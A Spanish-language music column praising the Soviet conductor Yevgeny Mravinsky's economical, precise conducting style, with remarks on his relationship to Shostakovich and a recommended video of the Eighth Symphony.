Yevgeny Mravinsky

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Días pasados, gocé leyendo en la columna Cultura Lúcida un muy bien escrito panegírico contando las loas del estilo de conducir la orquesta del ruso Yuri Simonov. No cabe duda que se trata de un gran, excelente músico y director. En eso no cabe diferir.

Sin embargo, me permito llamar la atención sobre un estilo mucho más sobrio y apacible, con una técnica corporal clara y contundente. Un modo de dirigir en el que no se necesita expresar a los músicos de la orquesta lo que se desea con movimientos coreográficos ampulosos sino todo lo opuesto: giros tan mínimos que el público y los músicos no los perciben como movimientos del cuerpo sino como la expresión de una voluntad artística fina, sutil y de una elegancia completa. Me refiero al también director de orquesta soviético Yevgeny Mravinsky, quien por décadas fuera director musical de la Orquesta Filarmónica de Leningrado desde 1938 hasta su muerte en 1988.

Mravinsky tenía un repertorio amplio y ecléctico; pero lo que me ha impactado sobremanera al ver videos en los que dirige es su forma de interpretar al gran Dimitri Schostakovich.

Se dice que a Schostakovich le disgustaba la manera en la cual Mravinsky interpretaba sus obras, y confiaba para este fin más en otros directores compatriotas  como los también geniales Alexander Gauk; Kiryl Kondrashin; Yevgeny Svetlanov, director musical del teatro Bolshoi en los años `50 del siglo XX; Konstantin Ivanov, director de la Orquesta nacional de la URSS (que estrenó la cantata propagandística de Schostakovich El Sol Brilla sobre la Patria, que no fue más que una loa a Stalin, parecida a la escrita por Pablo Neruda);  o el más joven (para aquella época, ya que nació en 1931) Gennady Rozhdestvensky, a quien el compositor le encargó el estreno de su cuarta sinfonía en el Festival de Edimburgo en 1962. A pesar de ello, el compositor le dedicó la 8ª sinfonía (de la que hablaremos más abajo). Y Mravinsky estrenó más de 5 de las 14 sinfonías del autor más emblemático de la Unión Soviética (así y todo perseguido por la paranoia asesina de Stalin).

Viendo los videos en  los que Mravinsky dirige (recomiendo sobre todo no perderse el de la 8ª sinfonía en do menor Op. 65 del autor, en especial el 3er movimiento, allegro non Troppo,  puramente rítmico en la mitad de la sinfonía), lo que maravilla es percibir  el resultado impactante que logra con una total  economía de movimientos ampulosos. La absoluta precisión que consigue en las entradas y en los ataques de la orquesta con gestos mínimos; con una mirada y una señal ínfima con el dedo índice o el meñique. Su cuerpo que está pasmosamente quieto (sentado) mientras las manos, las dos, pero fundamentalmente la derecha marca el tempo con una exactitud que hace que hasta un lego entienda la intención más recóndita del director. Y seguro que si ese mismo lego tomase un instrumento cualquiera en sus manos podría con poco esfuerzo y con nociones básicas de la técnica interpretativa conseguir una comunión de criterios entre su ejecución y la intención de Mravinsky sobre cómo interpretar la obra.

Aquí un video del director en su máxima expresión:

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